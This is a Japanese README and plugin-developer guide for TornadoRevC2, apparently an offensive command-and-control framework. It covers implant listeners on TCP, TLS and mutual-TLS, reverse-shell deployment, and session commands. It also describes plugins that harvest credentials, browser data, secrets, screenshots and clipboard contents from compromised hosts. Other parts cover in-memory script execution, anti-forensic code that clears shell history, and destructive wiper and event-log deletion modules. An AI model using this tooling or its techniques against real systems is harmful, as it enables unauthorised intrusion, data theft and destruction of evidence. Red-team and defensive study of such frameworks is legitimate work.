### リスナー設定

TornadoRevC2 は**3つの独立したリスナーを同時に**実行するため、インプラントはエンゲージメントの脅威モデルに応じて、平文、サーバー認証 TLS、または相互認証 TLS で接続できます:

| リスナー | デフォルトポート | フラグ | 認証 | 証明書 |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | なし           | なし |
| TLS      | `8443`       | `-tp` | サーバー認証 | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | 相互 (クライアント証明書必須) | `mtls_certs/` バンドル (CA + サーバー + クライアント) |

`-H` フラグは3つのリスナーすべてで共有されるバインドアドレスを設定します。3つすべてを同時に有効化できます。現時点で1つを無効化する必要はありません — 無視するにはポートを空けるかバインドしないままにします。

**自動証明書生成。** 初回起動時に、ハンドラーは2つの分離されたディレクトリを作成し、必要なマテリアルをブートストラップします:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**共有プラグイン**（`firewall`、`ports`、`browser`、`credstore` など）は `shared/` 内に単一の統合モジュールとして存在します。`rdp` や `eventlogdel` などの**プラットフォーム固有のプラグイン**は `windows/` または `linux/` の下にのみ存在し、`shared/` には複製されません。

コレクターはマーカートークン（`__T_PLUGIN_START__` / `__T_PLUGIN_END__`）でラップされた JSON を出力します。共有ランナーはこの出力を解析し、オペレーター向けのレポートをフォーマットし、セッションログディレクトリに結果を保存します。

---

## 要件とインストール

**ハンドラー（オペレーター側マシン）：**

- Python 3.7 以降
- OpenSSL（自動 TLS および mTLS 証明書生成用）
- Git（オプション、`update` オペレーターコマンドに必要）
- サードパーティの Python パッケージは不要```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. セッションの確立

組み込みカタログ（`payloads`）からリバースシェルをデプロイするか、独自のインプラントを使用します。接続時に、TornadoRevC2 はセッション ID を割り当て、`logs/` 配下へのログ記録を開始します。

### 3. 操作```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**プラットフォーム値:** `linux`、`windows`、`unix`。Linux と `unix` は互換として扱われます — `linux` に登録されたプラグインは両方で実行されます。省略時のデフォルト: `["linux", "windows", "unix"]`。

**モジュールごとの複数コマンド:** 単一のファイルで、複数の関数に `@plugin.command` を適用することで複数のコマンドを登録できます。それぞれが独立した名前を持ちます。

### 実行ライフサイクル

オペレーターが `run myplugin 1 arg1 arg2` を実行すると:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**使用する場面:** 単純なプローブ、ワンライナー列挙、構造化レポートを必要としないコマンド。

**主要メソッド:** `session.run_shell(cmd, timeout)`、`session.print(text, color)`、`session.log_plugin_result(name, report, detail='')`。

### パターン2: 構造化コレクター（推奨）

ターゲット上で構造化データを収集し、整形されたレポートを返す列挙プラグインに使用します。これはすべての組み込み偵察プラグイン（`firewall`、`ports`、`browser` など）で使用されているパターンです。

**フロー:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**`run_collector_plugin` パラメータ:**

| パラメータ | 型 | 説明 |
|-----------|------|-------------|
| `session` | `SessionContext` | 対象セッション |
| `plugin_name` | `str` | ログおよびエラーメッセージで使用される名前 |
| `unix_builder` | `Callable[[], str]` または `None` | Unix/Linux シェルコマンドを返す。利用不可の場合は `None` |
| `win_builder` | `Callable[[], str]` または `None` | PowerShell スクリプトを返す。利用不可の場合は `None` |
| `formatter` | `Callable[[dict], str]` | パースされた JSON dict をレポート文字列に変換する |
| `timeout` | `float` | マークされた出力を待機する最大秒数（デフォルト 30） |

プラットフォームビルダーに `None` を渡すと、その OS でプラグインが利用不可としてマークされます（[プラットフォーム固有のプラグイン](#platform-specific-plugins)を参照）。

外部プラグインを保存した後:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**収集後処理の例**（`historydel` より）:```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**ガイドライン:**

- すべての外部コマンドには `subprocess.check_output(..., timeout=N)` を使用する。
- 出力前に大きなリストを切り詰める（最大50～80エントリ）。
- 存在しないツールは適切に処理する—例外を発生させるのではなく、セクションを空のままにする。
- 出力にマーカー文字列を埋め込まないこと。`history` プラグインはこの理由から、収集されたテキストから `__T_PLUGIN_*__` を除去する。
- コレクターはコンパクトに保ち、インラインサイズ制限内に収め、`/tmp` ステージングを避ける。

### Windows コレクター

Windows コレクターは `_build_windows_command()` から返される PowerShell スクリプト文字列である。

**構造:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### JSON ペイロードの規約

コレクターは JSON シリアライズ可能な dict を返す必要があります。ランナーとフォーマッターは一貫したキーの使用を前提としています：

| キー | 型 | 目的 |
|-----|------|---------|
| `summary` | `dict` | 高レベルのカウントと統計。`format_generic_report()` によって最初にレンダリングされる |
| `error` | `str` | **ハード障害** — ランナーはエラーを出力し、終了コード 1 を返す |
| `traceback` | `str` | オプション。`error` が設定されている場合に詳細としてログに記録される |
| `reason` | `str` | **ソフト障害** — カスタムフォーマッターと共に使用する（例：クリップボードが利用不可） |
| `ok` | `bool` | 運用プラグイン（スクリーンショット、クリップボード）の成功フラグ |
| `dict` のリスト | `list` | `format_generic_report()` によってテーブルとしてレンダリングされる |
| `str` のリスト | `list` | 箇条書きリストとしてレンダリングされる |
| ネストされた `dict` | `dict` | ラベル付きセクションとしてレンダリングされる |

**グレースフルデグラデーション：** 複数セクションの列挙では、セクションごとに別々の dict キーを使用し、例外をローカルでキャッチしてください。コレクター全体が失敗した場合を除き、トップレベルの `error` を設定しないでください — 部分的な結果の方が望ましいです。```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

`plugins/shared/common.py` の再利用可能なヘルパー:

| 関数 | 目的 |
|----------|---------|
| `format_generic_report(data, title='Results')` | デフォルトのテーブル/セクションレンダラー |
| `format_section(title, fields, width=22)` | キーと値のセクション |
| `format_list_section(title, items, empty='(none)')` | 箇条書きリスト |
| `format_table_section(title, rows, columns)` | 辞書の行を列として表示 |
| `format_firewall_report`、`format_memorymap_report` など | プラグイン固有のフォーマッター |

### プラットフォーム固有のプラグイン

**Windows 専用:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**分割ビルダーによるクロスプラットフォーム対応:**

一部の共有プラグインは、プラットフォーム固有のビルダーモジュールに処理を委譲します（例: `virtualization` は `linux/virtualization.py` と `windows/virtualization.py` からインポートします）。`@plugin.command` エントリポイントは `shared/` に残り、`linux/` または `windows/` 配下のビルダーモジュールにはデコレータが含まれず、独立したプラグインとして登録されません。

### 外部プラグイン

外部プラグインを使用すると、リポジトリを変更せずに TornadoRevC2 を拡張できます。

**セットアップ:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**外部プラグインと組み込みプラグインのライフサイクル:**

| アクション | 組み込みプラグイン | 外部プラグイン |
|--------|-----------------|-----------------|
| `plugins unload` | ソフト無効化（モジュールはインポートされたまま） | 完全にアンロードされ登録解除される |
| `plugins reload` | モジュールを再インポートし、古いコマンド登録をクリア | `sys.modules` から削除し、ディスクから再インポート |
| 起動時 | 自動ロード | オンデマンドでロード |

外部モジュールは名前空間の衝突を避けるため `tornado_ext_plugin_<name>` としてインポートされます。

### SessionContext API

すべてのハンドラーは、ハンドラーとクライアントソケットをラップする `SessionContext` を受け取ります:

**メタデータプロパティ:**

| プロパティ | 型 | 説明 |
|----------|------|-------------|
| `session_id` | `str` | 割り当てられたセッション識別子 |
| `platform` | `str` | `unix`、`windows`、または `unknown` |
| `is_windows` / `is_unix` | `bool` | プラットフォーム判定用の便利フラグ |
| `sysinfo` | `dict` | `sysinfo` 収集によるキャッシュされたホスト情報 |
| `identity` | `dict` | セッションの識別情報/フィンガープリントメタデータ |
| `addr` | `tuple` | リモートアドレス |
| `tls` | `bool` | セッションが TLS を使用しているかどうか |
| `name` | `str` | オペレーターが割り当てたフレンドリ名 |
| `fingerprint` | `str` | 安定したホストフィンガープリント |
| `logger` | `SessionLogger` | セッションごとのログライター（`None` の場合あり） |
| `colors` | `dict` | コンソールのカラーコード |
| `socket` | socket | 生のクライアントソケット（上級者向け） |

**実行メソッド:**

| メソッド | 説明 |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | コマンドを送信し、出力を待って文字列を返す |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | アイドル検出付きで出力をストリーミング。長時間実行コマンドに有用 |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | プラットフォームに適したコマンドを実行し、マークされたペイロードを抽出 |
| `get_cwd()` | リモートの作業ディレクトリを返す |
| `collect_sysinfo(mode='stealth')` | ホスト情報の収集をトリガー |

**転送メソッド:**

| メソッド | 説明 |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | ターゲットにファイルをアップロード |
| `download(remote_path, local_path, resume=False)` | ターゲットからファイルをダウンロード |
| `verify_remote(remote_path)` | リモートファイルのサイズと SHA-256 を検証 |

**ログと出力:**

| メソッド | 説明 |
|--------|-------------|
| `print(text, color=None)` | オペレーターコンソールに出力。任意で色指定可（`red`、`green`、`yellow`、`cyan`） |
| `log_event(message)` | タイムスタンプ付きイベントを `session.log` に追記 |
| `log_command(cmd, output)` | コマンドと出力を `session.log` に記録 |
| `log_plugin_result(name, report, detail='')` | レポートを `logs/<session>/plugins/<name>_<timestamp>.log` に書き込む |

### エラー処理とリターンコード

| 戻り値 | 意味 | ハンドラーの動作 |
|--------|---------|------------------|
| `0` | 成功 | 警告は表示されない |
| `1`（または任意の非ゼロ） | 失敗 | 黄色の警告: `Plugin 'name' returned code N` |
| 捕捉されない例外 | エラー | 赤色のエラーメッセージ。セッションログに記録 |

**コレクターの失敗モード**（`run_collector_plugin` が処理）:

| 条件 | 動作 |
|-----------|----------|
| タイムアウト / 出力にマーカーなし | 終了コード 1、ログに「no response」 |
| 出力が有効な JSON でない | 終了コード 1、生の出力（切り詰め）を詳細としてログ |
| `data["error"]` が存在 | 終了コード 1、エラーとトレースバックを出力 |
| 一部セクションの失敗 | トップレベルの `error` を設定すべきでは**ない**。セクションは空のままにする |

**ソフト失敗**（運用プラグイン）: `reason` または `ok: false` を使用し、ランナーのハードな `error` チェックに頼るのではなく、カスタムフォーマッターまたはカスタムハンドラーで処理してください。

### ベストプラクティス

1. **ネイティブ OS コマンドを優先**し、アップロードしたツールに頼らない — フレームワークの依存関係を軽くする設計に沿っています。
2. **列挙のためにターゲット上にファイルを書き込まない** — シェルチャネル経由でデータを返してください。運用プラグイン（wiper、historydel）は明確な目的を持つ例外です。
3. **グレースフルにデグレード** — 各バックエンドを独立してプローブしてください。空のセクションは完全な失敗に勝ります。
4. **出力サイズを制限** — リストは 50〜80 項目に抑え、長い文字列は 200〜500 文字に切り詰めてください。
5. **現実的なタイムアウトを設定** — クイックプローブ: 15〜30 秒、包括的な列挙: 45〜75 秒。
6. **一貫してログを記録** — 開始時に `session.log_event()`、完了時に `session.log_plugin_result()`、トランスクリプト出力用に `session.log_command()` を呼び出してください。
7. **引数を早期に検証** — ターゲットに何かを送信する前に、使用方法のメッセージとともに 1 を返してください。
8. **両方のコンソールからテスト** — メインハンドラー（`run plugin <ID>`）とアタッチされたセッション（`switch` してから `run plugin`）。
9. **開発中は `plugins reload` を使用**して、ハンドラーを再起動せずに変更を反映させてください。
10. **機密性の高いマーカーをスクラブ** — プラグインが任意のファイル内容を読み取る場合は、収集した出力から除去してください。

### リファレンス実装

| プラグイン | ファイル | パターン | 備考 |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | クロスプラットフォームコレクター | マルチバックエンドのグレースフルデグレード |
| `ports` | `plugins/shared/ports.py` | クロスプラットフォームコレクター | ネイティブ `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | クロスプラットフォームコレクター | Linux Python + Windows PowerShell ビルダー |
| `memorymap` | `plugins/shared/memorymap.py` | カスタムハンドラー | PID 引数、動的ビルダー |
| `screenshot` | `plugins/shared/screenshot.py` | カスタムハンドラー | JSON 内の Base64。オペレーター側で PNG 保存 |
| `clipboard` | `plugins/shared/clipboard.py` | カスタムハンドラー | `reason` フィールドによるソフト失敗 |
| `historydel` | `plugins/shared/historydel.py` | カスタムハンドラー | 破壊的。コレクター後のシェルクリーンアップ |
| `wiper` | `plugins/shared/wiper.py` | カスタムハンドラー | 破壊的。パス引数の検証 |
| `services` | `plugins/windows/services.py` | Windows 専用コレクター | 最小限のエントリポイント |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Windows 専用コレクター | 破壊的。ログごとの失敗レポート |
| `rdp` | `plugins/windows/rdp.py` | Windows 専用コレクター | レジストリとファイアウォールの列挙 |
| `virtualization` | `plugins/shared/virtualization.py` | 共有エントリ + 分割ビルダー | `linux/` と `windows/` のビルダーをインポート |
| `secrets` | `plugins/linux/secrets.py` | Linux 専用コレクター | プラットフォーム制限付きリスト |

新しい列挙プラグインについては、`plugins/shared/runner.py` の `run_collector_plugin` から始め、`firewall.py` または `ports.py` のレイアウトをコピーしてください。引数や副作用を持つプラグインについては、`memorymap.py` または `wiper.py` を参照してください。

---

## セッションログ

各セッションは `logs/` 以下の分離されたディレクトリに書き込みます:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## TLS & mTLS 設定

TornadoRevC2 は 3 つの独立したリスナーを実行し、それぞれが独自の証明書ソースを持ちます。`tls_certs/` と `mtls_certs/` 配下のものはすべて初回実行時に自動生成され、上書きされることはありません。

| リスナー | ポート | クライアント認証 | 証明書 |
|----------|------|-------------|--------------|
| TCP | `4444` | なし | — |
| TLS | `8443` | サーバーのみ | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | 相互 (クライアント証明書が必要) | `mtls_certs/` バンドル |

### TLS

自己署名ペア (`CN=localhost`、RSA-2048、3650 日) として自動生成されます。

独自のものを指定するには:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### ライブセッションを mTLS にアップグレードする

プレーン TCP またはサーバー認証 TLS 上の既存セッションは、ハンドラを再起動することなく mTLS リスナーへ移行できます。`upgrade_mtls` プラグインは `client.pem`、`client.key`、`ca.pem` をターゲットにアップロードし、クライアント証明書を提示するバックグラウンドシェルを起動し、(デフォルトでは) 新しいセッションが確立されるとディスクからバンドルを削除します。```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls